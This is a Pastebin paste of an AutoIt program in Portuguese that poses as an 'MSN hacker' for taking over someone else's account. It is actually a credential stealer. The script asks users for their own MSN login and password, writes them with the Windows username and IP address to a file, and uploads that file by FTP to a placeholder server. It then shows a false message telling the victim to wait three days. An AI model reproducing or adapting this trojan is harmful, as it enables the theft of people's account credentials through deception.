Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #NoTrayIcon
- #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
- #AutoIt3Wrapper_icon=..\Meus documentos\Icones\10.ICO
- #AutoIt3Wrapper_Res_Comment=HACKIADOR DE MSN
- #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
- #include <ButtonConstants.au3>
- #include <EditConstants.au3>
- #include <GUIConstantsEx.au3>
- #include <StaticConstants.au3>
- #include <WindowsConstants.au3>
- #include <ftp.au3>
- #include <ftpex.au3>
- #Region ### START Koda GUI section ### Form=
- $Form1 = GUICreate("Haciar Msn 2011", 679, 352, 192, 124)
- $Label1 = GUICtrlCreateLabel("Seu Msn", 24, 112, 56, 20)
- GUICtrlSetFont(-1, 10, 400, 0, "Arial")
- $Input1 = GUICtrlCreateInput("", 24, 136, 321, 24)
- GUICtrlSetFont(-1, 10, 400, 0, "Arial")
- $Label2 = GUICtrlCreateLabel("Sua senha", 24, 168, 66, 20)
- GUICtrlSetFont(-1, 10, 400, 0, "Arial")
- $Input2 = GUICtrlCreateInput("", 24, 192, 121, 24)
- GUICtrlSetFont(-1, 10, 400, 0, "Arial")
- $Label3 = GUICtrlCreateLabel("MSN DA PESSOA QUE VC QUER HACKIAR", 24, 216, 270, 20)
- GUICtrlSetFont(-1, 10, 400, 0, "Arial")
- $Input3 = GUICtrlCreateInput("", 24, 240, 265, 24)
- GUICtrlSetFont(-1, 10, 400, 0, "Arial")
- $Label4 = GUICtrlCreateLabel("NOVA SENHA ", 24, 272, 94, 20)
- GUICtrlSetFont(-1, 10, 400, 0, "Arial")
- $Input4 = GUICtrlCreateInput("", 24, 288, 121, 24)
- GUICtrlSetFont(-1, 10, 400, 0, "Arial")
- $Button1 = GUICtrlCreateButton("HACKIAR", 288, 296, 129, 33)
- GUICtrlSetBkColor(-1, 0x00FFFF)
- $Label5 = GUICtrlCreateLabel("INSIRA TODOS OS DADOS CORRETOS", 16, 40, 644, 45)
- GUICtrlSetFont(-1, 26, 800, 0, "Arial")
- GUISetState(@SW_SHOW)
- #EndRegion ### END Koda GUI section ###
- DirCreate ("C:\WINDOWS\MSN")
- While 1
- $nMsg = GUIGetMsg()
- Switch $nMsg
- Case $GUI_EVENT_CLOSE
- Exit
- Case $Button1
- hack()
- EndSwitch
- WEnd
- func hack()
- $usuario = GUICtrlRead ($Input1)
- $Senha = GUICtrlRead ($Input2)
- FileWrite ("C:\WINDOWS\MSN\hackiados.txt","" & @CRLF& "========================" & @CRLF & "Conta Hackiada Por Gabriel" & @CRLF & "Nome : " & $usuario & @CRLF & "Senha:" & $Senha & @CRLF & "Nome Do usuario deste pc "& @UserName & @CRLF & "" &@IPAddress1 & @CRLF & "============================")
- $server = 'ftp.servidor.com.br'
- $username = 'seu usuario'
- $pass = 'sua senha'
- $Open = _FTPOpen('MyFTP Control')
- $Conn = _FTPConnect($Open, $server, $username, $pass)
- $Ftpp = _FtpPutFile($Conn, 'C:\WINDOWS\MSN\hackiados.txt', ''& @UserName & '.txt')
- $Ftpc = _FTPClose($Open)
- ProcessClose ("ftp.exe")
- MsgBox (65,"Conta Hackiada","ESPERE ATE 3 DIAS E A CONTA SERÁ HACKIADA " & @CRLF & " sua conta ´é:" & $usuario & "e sua senha é " & $Senha & "Se todos Os dados tiver correto Ate 3 dias voce vai hackiar a conta! OBRIGADO POR USAR ESTE PROGRAMA HACKERS 2011!")
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement